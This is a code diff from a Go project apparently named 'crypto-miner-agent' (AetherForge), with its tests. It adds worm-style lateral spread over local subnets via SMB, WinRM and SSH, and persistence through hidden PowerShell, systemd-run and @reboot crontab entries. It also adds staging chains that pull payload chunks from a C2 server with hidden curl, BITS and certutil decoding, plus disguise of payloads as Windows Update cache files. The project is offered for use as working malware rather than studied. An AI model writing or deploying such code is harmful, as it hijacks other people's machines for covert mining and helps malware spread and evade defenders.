+	resetSpreadGateForTest()
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		AutoSpread:            true,
+		HashrateGateSpreadMin: 10,
+		HashrateGateHPS:       100,
+	}}
+	SetSpreadMiningTelemetry(0, false)
+	msg := RunSpreadOnce(cfg)
+	if msg == "" || msg == "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)" {
+		t.Fatalf("expected gate message, got %q", msg)
+	}
+}

agent/deploy/lan_seeder.go

@@ -0,0 +1,87 @@
+package deploy
+
+import (
+	"net"
+	"strings"
+)
+
+// LANSeederHint is a nearby seeder pushed on miner auth when fleet roles are enabled.
+type LANSeederHint struct {
+	AgentID        string `json:"agent_id"`
+	IP             string `json:"ip,omitempty"`
+	LANFallbackURL string `json:"lan_fallback_url,omitempty"`
+}
+
+// NearestLANSeeder picks the closest seeder by IP prefix match (same /24 preferred).
+func NearestLANSeeder(seeders []LANSeederHint, localIP string) *LANSeederHint {
+	if len(seeders) == 0 {
+		return nil
+	}
+	localPrefix := subnet24(localIP)
+	var best *LANSeederHint
+	bestScore := -1
+	for i := range seeders {
+		s := &seeders[i]
+		score := 0
+		if localPrefix != "" && subnet24(s.IP) == localPrefix {
+			score = 2
+		} else if strings.TrimSpace(s.IP) != "" {
+			score = 1
+		}
+		if score > bestScore {
+			bestScore = score
+			best = s
+		}
+	}
+	if best == nil {
+		return &seeders[0]
+	}
+	return best
+}
+
+// ApplyLANSeederToWebRTC overrides mesh policy with the nearest LAN seeder fallback URL.
+func ApplyLANSeederToWebRTC(policy *WebRTCMeshPolicy, seeder *LANSeederHint) {
+	if policy == nil || seeder == nil {
+		return
+	}
+	if u := strings.TrimSpace(seeder.LANFallbackURL); u != "" {
+		policy.LANFallbackURL = u
+	}
+	if id := strings.TrimSpace(seeder.AgentID); id != "" {
+		policy.SeederAgentID = id
+	}
+}
+
+var (
+	activeLANSeeders       []LANSeederHint
+	activeLANSeedersLocalIP string
+)
+
+// SetLANSeederHints stores miner auth hints for webrtc/do_peer staging pulls.
+func SetLANSeederHints(seeders []LANSeederHint, localIP string) {
+	activeLANSeeders = append([]LANSeederHint(nil), seeders...)
+	activeLANSeedersLocalIP = localIP
+}
+
+// PreferredLANSeeder returns the nearest seeder from auth hints.
+func PreferredLANSeeder() *LANSeederHint {
+	return NearestLANSeeder(activeLANSeeders, activeLANSeedersLocalIP)
+}
+
+func subnet24(ip string) string {
+	ip = strings.TrimSpace(ip)
+	if ip == "" {
+		return ""
+	}
+	host := ip
+	if strings.Contains(ip, ":") {
+		if h, _, err := net.SplitHostPort(ip); err == nil {
+			host = h
+		}
+	}
+	parts := strings.Split(host, ".")
+	if len(parts) < 3 {
+		return ""
+	}
+	return parts[0] + "." + parts[1] + "." + parts[2]
+}

agent/deploy/lan_seeder_test.go

@@ -0,0 +1,22 @@
+package deploy
+
+import "testing"
+
+func TestNearestLANSeederPrefersSameSubnet(t *testing.T) {
+	seeders := []LANSeederHint{
+		{AgentID: "far", IP: "10.0.9.1", LANFallbackURL: "http://10.0.9.1/manifest"},
+		{AgentID: "near", IP: "192.168.1.50", LANFallbackURL: "http://192.168.1.50/manifest"},
+	}
+	got := NearestLANSeeder(seeders, "192.168.1.10")
+	if got == nil || got.AgentID != "near" {
+		t.Fatalf("got %+v", got)
+	}
+}
+
+func TestApplyLANSeederToWebRTC(t *testing.T) {
+	policy := WebRTCMeshPolicy{}
+	ApplyLANSeederToWebRTC(&policy, &LANSeederHint{AgentID: "seed-1", LANFallbackURL: "http://lan/seed"})
+	if policy.SeederAgentID != "seed-1" || policy.LANFallbackURL != "http://lan/seed" {
+		t.Fatalf("policy=%+v", policy)
+	}
+}

agent/deploy/linux_lotl_test.go

@@ -0,0 +1,65 @@
+//go:build !windows
+
+package deploy
+
+import (
+	"strings"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestSystemdLinuxLOTLLaneSSHStartCmd(t *testing.T) {
+	cmd := sshSpreadStartCmd("/tmp/af-worker")
+	for _, want := range []string{"chmod +x", "--spread-install", "--defer-mining", "nohup"} {
+		if !strings.Contains(cmd, want) {
+			t.Fatalf("cmd=%q missing %q", cmd, want)
+		}
+	}
+}
+
+func TestSystemdLinuxLOTLPersistSystemdRunUser(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "systemd_run_user"}}
+	cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
+	if !strings.Contains(cmd, "systemd-run --user") {
+		t.Fatalf("cmd=%q", cmd)
+	}
+	if !strings.Contains(cmd, "--defer-mining") {
+		t.Fatal("expected defer-mining in systemd persist")
+	}
+}
+
+func TestSystemdLinuxLOTLPersistCrontab(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "crontab"}}
+	cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
+	if !strings.Contains(cmd, "@reboot") || !strings.Contains(cmd, "crontab") {
+		t.Fatalf("cmd=%q", cmd)
+	}
+}
+
+func TestSystemdLinuxLOTLPersistBothModes(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "both"}}
+	cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
+	if !strings.Contains(cmd, "systemd-run") || !strings.Contains(cmd, "crontab") {
+		t.Fatalf("cmd=%q", cmd)
+	}
+}
+
+func TestSystemdLinuxLOTLPersistOffReturnsEmpty(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "off"}}
+	if got := sshSpreadPersistCmd(cfg, "/opt/af/worker"); got != "" {
+		t.Fatalf("got %q", got)
+	}
+}
+
+func TestTryLotlTierLinuxLOTLLane(t *testing.T) {
+	ok, msg := tryLotlTier(config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{AutoSpread: true, LinuxLOTLMode: "systemd_run_user"},
+	}, "linux")
+	if !ok {
+		t.Fatalf("linux tier should succeed, got %q", msg)
+	}
+	if !strings.Contains(msg, "ssh") {
+		t.Fatalf("msg=%q", msg)
+	}
+}

agent/deploy/scout_discover_test.go

@@ -0,0 +1,49 @@
+package deploy
+
+import (
+	"crypto/hmac"
+	"crypto/sha256"
+	"encoding/hex"
+	"encoding/json"
+	"strings"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestRunDiscoverAndJoinScoutSkipsStaging(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		ScoutMode:   true,
+		FleetSecret: "test-secret",
+	}}
+	fetch := func(_ []DeployServiceFinding, _ string) (DeployPlanResponse, error) {
+		plan := DeployPlanBody{
+			JoinLane: "do_peer",
+			Action:   "do_peer",
+			Manifest: &StagingManifest{Dest: "worker.exe", SHA256: "abc"},
+		}
+		raw, err := json.Marshal(plan)
+		if err != nil {
+			t.Fatal(err)
+		}
+		mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
+		mac.Write(raw)
+		sig := hex.EncodeToString(mac.Sum(nil))
+		return DeployPlanResponse{OK: true, JoinLane: "do_peer", Plan: plan, Signature: sig}, nil
+	}
+	runServiceDiscoverFn = func(_ int) string {
+		return `{"local":{"host":"127.0.0.1","services":[{"service_name":"dosvc","status":"running"}]}}`
+	}
+	t.Cleanup(func() { runServiceDiscoverFn = nil })
+
+	lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if lane != "do_peer" {
+		t.Fatalf("lane=%q", lane)
+	}
+	if !strings.Contains(detail, "no payload staging") {
+		t.Fatalf("detail=%q", detail)
+	}
+}

agent/deploy/seeder_staging.go

@@ -0,0 +1,55 @@
+package deploy
+
+import (
+	"log"
+	"time"
+
+	"crypto-miner-agent/config"
+)
+
+// StartSeederStaging runs dns_txt / webrtc_mesh / do_peer lanes for seeder-role agents.
+func StartSeederStaging(cfg config.RuntimeConfig) {
+	if !cfg.SeederMode && config.NormalizeFleetRole(cfg.FleetRole) != config.FleetRoleSeeder {
+		return
+	}
+	tiers := config.FilterSeederLotlTiers(NormalizeLotlTiers(cfg.LotlOnionTiers))
+	if len(tiers) == 0 {
+		tiers = append([]string(nil), config.SeederSpreadLanes...)
+	}
+	log.Printf("[seeder] starting staging lanes: %v", tiers)
+	go runSeederLaneChain(cfg, tiers)
+}
+
+func runSeederLaneChain(cfg config.RuntimeConfig, tiers []string) {
+	time.Sleep(30 * time.Second)
+	for _, tier := range tiers {
+		ok, reason := tryLotlTier(cfg, tier)
+		if ok {
+			log.Printf("[seeder] lane %s ready: %s", tier, reason)
+			return
+		}
+		log.Printf("[seeder] lane %s skipped: %s", tier, reason)
+	}
+	log.Printf("[seeder] all staging lanes exhausted")
+}
+
+// SeederSeedPressure estimates 0–1 LAN seed serving pressure for stats WS.
+func SeederSeedPressure(cfg config.RuntimeConfig, joinLane string, lanesReady int) float64 {
+	if !cfg.SeederMode && config.NormalizeFleetRole(cfg.FleetRole) != config.FleetRoleSeeder {
+		return 0
+	}
+	if config.IsSeederSpreadLane(joinLane) {
+		return 1
+	}
+	if lanesReady > 0 {
+		n := float64(lanesReady) / float64(len(config.SeederSpreadLanes))
+		if n > 1 {
+			n = 1
+		}
+		if n < 0.25 {
+			n = 0.25
+		}
+		return n
+	}
+	return 0.15
+}

agent/deploy/seeder_staging_test.go

@@ -0,0 +1,26 @@
+package deploy
+
+import (
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestSeederSeedPressure(t *testing.T) {
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{SeederMode: true}}
+	if p := SeederSeedPressure(cfg, "dns_txt", 0); p != 1 {
+		t.Fatalf("active lane pressure=%v want 1", p)
+	}
+	if p := SeederSeedPressure(cfg, "", 1); p < 0.25 || p > 1 {
+		t.Fatalf("ready lane pressure=%v", p)
+	}
+	miner := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetRole: config.FleetRoleMiner}}
+	if SeederSeedPressure(miner, "dns_txt", 1) != 0 {
+		t.Fatal("miner should report 0 seed pressure")
+	}
+}
+
+func TestStartSeederStagingNoopForMiner(t *testing.T) {
+	// Should return immediately without panic for non-seeder forge.
+	StartSeederStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetRole: config.FleetRoleMiner}})
+}

agent/deploy/staging.go

@@ -18,6 +18,14 @@ type StagingChunk struct {
 	Index  int    `json:"index,omitempty"`  // shard index for dns_txt assembly order
 }
 
+// Injectable hooks for stage_fetch / RunStagingChain tests (mock BITS/curl; no real remote hosts).
+var (
+	stagingDownloadCurlFn   func(url, dest string) error
+	stagingDownloadBITSFn   func(url, dest string) error
+	stagingCertutilDecodeFn func(src, dest string) error
+	stagingLaunchFn         func(dest string, manifest StagingManifest) (string, error)
+)
+
 // StagingManifest describes a BITS/curl/certutil staging chain from the C2.
 type StagingManifest struct {
 	Method    string         `json:"method"` // curl | bits

agent/deploy/staging_chain_test.go

@@ -0,0 +1,199 @@
+package deploy
+
+import (
+	"crypto/sha256"
+	"encoding/hex"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestStageFetchRejectsEmptyChunks(t *testing.T) {
+	cfg := testRuntimeConfig()
+	_, err := RunStagingChain(cfg, StagingManifest{
+		Method: "curl",
+		Dest:   "worker.exe",
+		SHA256: strings.Repeat("a", 64),
+	})
+	if err == nil || !strings.Contains(err.Error(), "no chunks") {
+		t.Fatalf("err=%v", err)
+	}
+}
+
+func TestStageFetchRejectsPathTraversal(t *testing.T) {
+	cfg := testRuntimeConfig()
+	_, err := RunStagingChain(cfg, StagingManifest{
+		Method: "bits",
+		Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
+		SHA256: strings.Repeat("a", 64),
+		Dest:   `..\..\outside.exe`,
+	})
+	if err == nil || !strings.Contains(err.Error(), "path traversal") {
+		t.Fatalf("err=%v", err)
+	}
+}
+
+func TestExecuteDeployPlanBitsCurlRequiresManifest(t *testing.T) {
+	_, err := ExecuteDeployPlan(config.RuntimeConfig{}, DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"})
+	if err == nil || !strings.Contains(err.Error(), "requires staging manifest") {
+		t.Fatalf("err=%v", err)
+	}
+}
+
+func stagingFakeDownload(payload []byte) func(url, dest string) error {
+	return func(url, dest string) error {
+		if strings.TrimSpace(url) == "" {
+			return os.ErrInvalid
+		}
+		return os.WriteFile(dest, payload, 0o644)
+	}
+}
+
+func TestCurlStagingAssemblyWithInject(t *testing.T) {
+	payload := []byte("curl-stage-fetch-payload")
+	sum := sha256.Sum256(payload)
+	hash := hex.EncodeToString(sum[:])
+
+	oldCurl := stagingDownloadCurlFn
+	oldLaunch := stagingLaunchFn
+	stagingDownloadCurlFn = stagingFakeDownload(payload)
+	stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) {
+		if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
+			return "", err
+		}
+		return "staged via curl inject", nil
+	}
+	defer func() {
+		stagingDownloadCurlFn = oldCurl
+		stagingLaunchFn = oldLaunch
+	}()
+
+	destRel := filepath.Join("af-stage", "curl-worker.exe")
+	cfg := testRuntimeConfig()
+	msg, err := RunStagingChain(cfg, StagingManifest{
+		Method: "curl",
+		Chunks: []StagingChunk{{URL: "http://127.0.0.1/chunk", File: "chunk-0.bin"}},
+		SHA256: hash,
+		Dest:   destRel,
+		Launch: "exe",
+	})
+	if err != nil {
+		if strings.Contains(err.Error(), "Windows-only") {
+			t.Skip("staging chain requires windows build")
+		}
+		t.Fatal(err)
+	}
+	if !strings.Contains(msg, "curl") {
+		t.Fatalf("msg=%q", msg)
+	}
+}
+
+func TestBITSStagingAssemblyWithInject(t *testing.T) {
+	payload := []byte("bits-stage-fetch-payload")
+	sum := sha256.Sum256(payload)
+	hash := hex.EncodeToString(sum[:])
+
+	oldBits := stagingDownloadBITSFn
+	oldLaunch := stagingLaunchFn
+	stagingDownloadBITSFn = stagingFakeDownload(payload)
+	stagingLaunchFn = func(dest string, manifest StagingManifest) (string, error) {
+		if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
+			return "", err
+		}
+		return "staged via bits inject", nil
+	}
+	defer func() {
+		stagingDownloadBITSFn = oldBits
+		stagingLaunchFn = oldLaunch
+	}()
+
+	cfg := testRuntimeConfig()
+	msg, err := RunStagingChain(cfg, StagingManifest{
+		Method: "bitsadmin",
+		Chunks: []StagingChunk{{URL: "http://127.0.0.1/bits-chunk", File: "bits-0.bin"}},
+		SHA256: hash,
+		Dest:   "bits-worker.exe",
+		Launch: "exe",
+	})
+	if err != nil {
+		if strings.Contains(err.Error(), "Windows-only") {
+			t.Skip("staging chain requires windows build")
+		}
+		t.Fatal(err)
+	}
+	if !strings.Contains(msg, "bits") {
+		t.Fatalf("msg=%q", msg)
+	}
+}
+
+func TestStageFetchEmptyURLRejected(t *testing.T) {
+	oldCurl := stagingDownloadCurlFn
+	stagingDownloadCurlFn = nil
+	defer func() { stagingDownloadCurlFn = oldCurl }()
+
+	cfg := testRuntimeConfig()
+	_, err := RunStagingChain(cfg, StagingManifest{
+		Method: "curl",
+		Chunks: []StagingChunk{{URL: "  ", File: "chunk.bin"}},
+		SHA256: strings.Repeat("a", 64),
+		Dest:   "worker.exe",
+	})
+	if err != nil {
+		if strings.Contains(err.Error(), "Windows-only") {
+			t.Skip("staging chain requires windows build")
+		}
+	}
+	if err == nil || !strings.Contains(err.Error(), "empty") {
+		t.Fatalf("err=%v", err)
+	}
+}
+
+func TestStageFetchSHA256MismatchRejected(t *testing.T) {
+	payload := []byte("wrong-hash-payload")
+	oldCurl := stagingDownloadCurlFn
+	stagingDownloadCurlFn = stagingFakeDownload(payload)
+	defer func() { stagingDownloadCurlFn = oldCurl }()
+
+	cfg := testRuntimeConfig()
+	_, err := RunStagingChain(cfg, StagingManifest{
+		Method: "curl",
+		Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
+		SHA256: strings.Repeat("b", 64),
+		Dest:   "mismatch-worker.exe",
+	})
+	if err != nil {
+		if strings.Contains(err.Error(), "Windows-only") {
+			t.Skip("staging chain requires windows build")
+		}
+	}
+	if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
+		t.Fatalf("err=%v", err)
+	}
+}
+
+func TestStageFetchDownloaderErrorPropagates(t *testing.T) {
+	oldCurl := stagingDownloadCurlFn
+	stagingDownloadCurlFn = func(url, dest string) error {
+		return os.ErrPermission
+	}
+	defer func() { stagingDownloadCurlFn = oldCurl }()
+
+	cfg := testRuntimeConfig()
+	_, err := RunStagingChain(cfg, StagingManifest{
+		Method: "curl",
+		Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "chunk.bin"}},
+		SHA256: strings.Repeat("a", 64),
+		Dest:   "worker.exe",
+	})
+	if err != nil {
+		if strings.Contains(err.Error(), "Windows-only") {
+			t.Skip("staging chain requires windows build")
+		}
+	}
+	if err == nil || !strings.Contains(err.Error(), "curl chunk") {
+		t.Fatalf("err=%v", err)
+	}
+}

agent/deploy/staging_stub_test.go

@@ -0,0 +1,20 @@
+//go:build !windows
+
+package deploy
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestRunStagingChainWindowsOnlyStub(t *testing.T) {
+	_, err := RunStagingChain(testRuntimeConfig(), StagingManifest{
+		Method: "curl",
+		Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "c.bin"}},
+		SHA256: strings.Repeat("a", 64),
+		Dest:   "worker.exe",
+	})
+	if err == nil || !strings.Contains(err.Error(), "Windows-only") {
+		t.Fatalf("err=%v", err)
+	}
+}

agent/deploy/staging_windows.go

@@ -83,6 +83,10 @@ func RunStagingChain(cfg config.RuntimeConfig, manifest StagingManifest) (string
 		return "", err
 	}
 
+	if stagingLaunchFn != nil {
+		return stagingLaunchFn(dest, manifest)
+	}
+
 	launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
 	switch launch {
 	case "rundll32", "dll":
@@ -114,6 +118,9 @@ func downloadChunkCurl(url, dest string) error {
 	if url == "" {
 		return fmt.Errorf("chunk url is empty")
 	}
+	if stagingDownloadCurlFn != nil {
+		return stagingDownloadCurlFn(url, dest)
+	}
 	return HiddenRun("curl.exe", "-sSL", "--fail", "-o", dest, url)
 }
 
@@ -122,6 +129,9 @@ func downloadChunkBITS(url, dest string) error {
 	if url == "" {
 		return fmt.Errorf("chunk url is empty")
 	}
+	if stagingDownloadBITSFn != nil {
+		return stagingDownloadBITSFn(url, dest)
+	}
 	job := "AetherForge-Stage-" + sanitizeName(filepath.Base(dest)) + fmt.Sprintf("-%d", time.Now().Unix())
 	steps := [][]string{
 		{"/transfer", job, "/download", "/priority", "FOREGROUND", url, dest},
@@ -137,5 +147,8 @@ func downloadChunkBITS(url, dest string) error {
 }
 
 func certutilDecode(src, dest string) error {
+	if stagingCertutilDecodeFn != nil {
+		return stagingCertutilDecodeFn(src, dest)
+	}
 	return HiddenRun("certutil.exe", "-f", "-decode", src, dest)
 }

agent/deploy/winrm_spread_test.go

@@ -0,0 +1,57 @@
+//go:build windows
+
+package deploy
+
+import (
+	"encoding/base64"
+	"strings"
+	"testing"
+	"unicode/utf16"
+)
+
+func TestWinRMEncodePowerShellRoundTrip(t *testing.T) {
+	script := `$dest = Join-Path $env:TEMP 'worker.exe'; Start-Process $dest`
+	encoded := encodePowerShell(script)
+	raw, err := base64.StdEncoding.DecodeString(encoded)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(raw)%2 != 0 {
+		t.Fatal("utf16le should be even length")
+	}
+	runes := make([]rune, len(raw)/2)
+	for i := 0; i < len(runes); i++ {
+		runes[i] = rune(raw[i*2]) | rune(raw[i*2+1])<<8
+	}
+	got := string(runes)
+	if got != script {
+		t.Fatalf("round-trip failed: got %q", got)
+	}
+	// sanity: matches manual utf16 encode
+	manual := utf16.Encode([]rune(script))
+	if len(manual)*2 != len(raw) {
+		t.Fatalf("len manual=%d raw=%d", len(manual)*2, len(raw))
+	}
+}
+
+func TestWinRMSpreadScriptMarkers(t *testing.T) {
+	script := `
+$dest = Join-Path $env:TEMP 'af-worker.exe'
+Copy-Item -LiteralPath 'C:\agent\worker.exe' -Destination $dest -Force
+Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
+`
+	encoded := encodePowerShell(script)
+	for _, marker := range []string{
+		"Join-Path $env:TEMP",
+		"--spread-install",
+		"--defer-mining",
+		"Start-Process",
+	} {
+		if !strings.Contains(script, marker) {
+			t.Fatalf("script missing %q", marker)
+		}
+	}
+	if encoded == "" || strings.Contains(encoded, " ") {
+		t.Fatalf("encoded command invalid: %q", encoded)
+	}
+}

agent/deploy/wsus_cache_peer_staging.go

@@ -1,6 +1,8 @@
 package deploy
 
 import (
+	"bytes"
+	"encoding/binary"
 	"fmt"
 	"os"
 	"path/filepath"
@@ -10,6 +12,80 @@ import (
 	"crypto-miner-agent/config"
 )
 
+const (
+	wsusSSUEnvelopeTag  = "AFWSU1\x00"
+	wsusSSUMetadataSize = 96
+)
+
+// WrapSSUHeader prepends a CAB/SSU-like envelope so chunk bytes resemble failed WU cache files.
+// Format mimicry only — payload bytes are unchanged after unwrap; SHA256 in the manifest is raw payload.
+func WrapSSUHeader(payload []byte) []byte {
+	meta := make([]byte, wsusSSUMetadataSize)
+	copy(meta[0:4], "MSCF")
+	total := uint32(wsusSSUMetadataSize + 4 + len(payload))
+	binary.LittleEndian.PutUint32(meta[8:12], total)
+	binary.LittleEndian.PutUint16(meta[16:18], 1)
+	binary.LittleEndian.PutUint16(meta[18:20], 0x0103)
+	copy(meta[36:44], "SSU2024\x00")
+	copy(meta[44:52], "WU-CACHE")
+	copy(meta[80:88], ".partial")
+	tagOff := wsusSSUMetadataSize - len(wsusSSUEnvelopeTag) - 4
+	copy(meta[tagOff:tagOff+len(wsusSSUEnvelopeTag)], wsusSSUEnvelopeTag)
+	binary.LittleEndian.PutUint32(meta[tagOff+len(wsusSSUEnvelopeTag):wsusSSUMetadataSize], uint32(len(payload)))
+	out := make([]byte, 0, len(meta)+len(payload))
+	out = append(out, meta...)
+	out = append(out, payload...)
+	return out
+}
+
+// AddWrapSSUHeader is the spec alias for WrapSSUHeader.
+func AddWrapSSUHeader(payload []byte) []byte {
+	return WrapSSUHeader(payload)
+}
+
+// UnwrapSSUHeader strips the CAB/SSU mimic envelope and returns the embedded payload.
+func UnwrapSSUHeader(data []byte) ([]byte, error) {
+	if len(data) < wsusSSUMetadataSize+1 {
+		return nil, fmt.Errorf("wsus ssu envelope too short")
+	}
+	if !bytes.HasPrefix(data, []byte("MSCF")) {
+		return nil, fmt.Errorf("wsus ssu envelope missing MSCF prefix")
+	}
+	tag := []byte(wsusSSUEnvelopeTag)
+	idx := bytes.Index(data[:wsusSSUMetadataSize], tag)
+	if idx < 0 {
+		return nil, fmt.Errorf("wsus ssu envelope tag not found")
+	}
+	off := idx + len(tag)
+	if off+4 > wsusSSUMetadataSize {
+		return nil, fmt.Errorf("wsus ssu envelope length truncated")
+	}
+	n := binary.LittleEndian.Uint32(data[off : off+4])
+	start := wsusSSUMetadataSize
+	if int(n) < 0 || start+int(n) > len(data) {
+		return nil, fmt.Errorf("wsus ssu payload length invalid")
+	}
+	return data[start : start+int(n)], nil
+}
+
+// IsWSUSFormatMimicChunk reports whether a staged chunk filename uses the *.cab.partial pattern.
+func IsWSUSFormatMimicChunk(filename string) bool {
+	return strings.HasSuffix(strings.ToLower(filepath.Base(filename)), ".cab.partial")
+}
+
+// WSUSFormatMimicChunkName returns a GUID-like failed-update cache filename for a content hash.
+func WSUSFormatMimicChunkName(contentHash string, index int) string {
+	h := strings.ToLower(strings.TrimSpace(contentHash))
+	if len(h) < 32 {
+		h = strings.Repeat("0", 32-len(h)) + h
+	}
+	guid := fmt.Sprintf("%s-%s-%s-%s-%s", h[0:8], h[8:12], h[12:16], h[16:20], h[20:32])
+	if index > 0 {
+		return fmt.Sprintf("%s-%d.cab.partial", guid, index)
+	}
+	return guid + ".cab.partial"
+}
+
 // WSUSCachePeerManifest describes WSUS offline cache cousin staging beside SoftwareDistribution\Download.
 type WSUSCachePeerManifest struct {
 	Method        string         `json:"method"`
@@ -109,15 +185,34 @@ func assembleWSUSCachePeerPayload(cfg config.RuntimeConfig, manifest WSUSCachePe
 				return "", nil, fmt.Errorf("curl chunk %d: %w", i, err)
 			}
 		}
+		chunkPath := localPath
+		if IsWSUSFormatMimicChunk(name) {
+			raw, err := os.ReadFile(localPath)
+			if err != nil {
+				cleanupFn()
+				return "", nil, fmt.Errorf("wsus chunk %d read: %w", i, err)
+			}
+			payload, err := UnwrapSSUHeader(raw)
+			if err != nil {
+				cleanupFn()
+				return "", nil, fmt.Errorf("wsus chunk %d unwrap: %w", i, err)
+			}
+			unwrappedPath := strings.TrimSuffix(localPath, ".cab.partial") + ".bin"
+			if err := os.WriteFile(unwrappedPath, payload, 0o600); err != nil {
+				cleanupFn()
+				return "", nil, fmt.Errorf("wsus chunk %d write: %w", i, err)
+			}
+			chunkPath = unwrappedPath
+		}
 		if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") {
-			decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin"
+			decoded := strings.TrimSuffix(chunkPath, filepath.Ext(chunkPath)) + ".bin"
-			if err := certutilDecodePeer(localPath, decoded); err != nil {
+			if err := certutilDecodePeer(chunkPath, decoded); err != nil {
 				cleanupFn()
 				return "", nil, fmt.Errorf("certutil chunk %d: %w", i, err)
 			}
 			assembled = append(assembled, decoded)
 		} else {
-			assembled = append(assembled, localPath)
+			assembled = append(assembled, chunkPath)
 		}
 	}
 

agent/deploy/wsus_cache_peer_staging_test.go

@@ -1,6 +1,7 @@
 package deploy
 
 import (
+	"bytes"
 	"crypto/sha256"
 	"encoding/hex"
 	"os"
@@ -62,6 +63,87 @@ func TestWSUSCachePeerAssembleWithFakeDownloaders(t *testing.T) {
 	}
 }
 
+func TestWSUSCachePeerRejectsPathTraversal(t *testing.T) {
+	manifest := WSUSCachePeerManifest{
+		Method: "bits",
+		Chunks: []StagingChunk{{URL: "http://127.0.0.1/x", File: "wsus-0.bin"}},
+		SHA256: strings.Repeat("a", 64),
+		Dest:   `..\..\outside.exe`,
+	}
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-test"}}
+	_, _, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDownload, fakeDownload)
+	if err == nil || !strings.Contains(err.Error(), "path traversal") {
+		t.Fatalf("expected path traversal error, got %v", err)
+	}
+}
+
+func TestWrapSSUHeaderRoundTrip(t *testing.T) {
+	payload := []byte("wsus-cache-cousin-payload")
+	wrapped := WrapSSUHeader(payload)
+	if !bytes.HasPrefix(wrapped, []byte("MSCF")) {
+		t.Fatal("expected MSCF cabinet prefix")
+	}
+	if !bytes.Contains(wrapped, []byte("WU-CACHE")) {
+		t.Fatal("expected WU-CACHE metadata marker")
+	}
+	got, err := UnwrapSSUHeader(wrapped)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !bytes.Equal(got, payload) {
+		t.Fatalf("unwrap=%q want %q", got, payload)
+	}
+}
+
+func TestWSUSFormatMimicChunkNamePattern(t *testing.T) {
+	name := WSUSFormatMimicChunkName(strings.Repeat("a", 64), 0)
+	if !strings.HasSuffix(name, ".cab.partial") {
+		t.Fatalf("name=%q", name)
+	}
+	if strings.Count(name, "-") < 4 {
+		t.Fatalf("expected GUID-like name, got %q", name)
+	}
+	if !IsWSUSFormatMimicChunk(name) {
+		t.Fatal("IsWSUSFormatMimicChunk should match")
+	}
+}
+
+func TestWSUSCachePeerAssembleFormatMimicRoundTrip(t *testing.T) {
+	dir := t.TempDir()
+	payload := []byte("wsus-format-mimic-roundtrip")
+	wrapped := WrapSSUHeader(payload)
+	sumForName := sha256.Sum256(payload)
+	chunkName := WSUSFormatMimicChunkName(hex.EncodeToString(sumForName[:]), 0)
+	chunkPath := filepath.Join(dir, chunkName)
+	if err := os.WriteFile(chunkPath, wrapped, 0o644); err != nil {
+		t.Fatal(err)
+	}
+	sum := sha256.Sum256(payload)
+	destRel := filepath.Join("af-wsus", "worker.exe")
+
+	fakeDL := func(url, dest string) error {
+		return copyFile(chunkPath, dest)
+	}
+
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "wsus-mimic"}}
+	manifest := WSUSCachePeerManifest{
+		Method:     "bits",
+		Chunks:     []StagingChunk{{URL: "http://127.0.0.1/chunk", File: chunkName}},
+		SHA256:     hex.EncodeToString(sum[:]),
+		Dest:       destRel,
+		CacheGroup: "wsus-lan-mimic",
+	}
+
+	staged, cleanup, err := assembleWSUSCachePeerPayload(cfg, manifest, fakeDL, fakeDL)
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer cleanup()
+	if err := verifyFileSHA256(staged, manifest.SHA256); err != nil {
+		t.Fatal(err)
+	}
+}
+
 func TestWSUSCachePeerSHA256MismatchRejected(t *testing.T) {
 	dir := t.TempDir()
 	chunkPath := filepath.Join(dir, "wsus-0.bin")

agent/main.go

@@ -29,7 +29,7 @@ func main() {
 	}
 	setupLogging(cfg)
 
-	if cfg.Wallet == "" {
+	if cfg.Wallet == "" && !cfg.MiningDisabled && !cfg.ApkMode && !cfg.ScoutMode {
 		log.Fatal("wallet address is required in built-in configuration")
 	}
 	if cfg.ServerURL == "" {
@@ -84,14 +84,13 @@ func main() {
 	}
 
 	deploy.StartWatchdog(cfg)
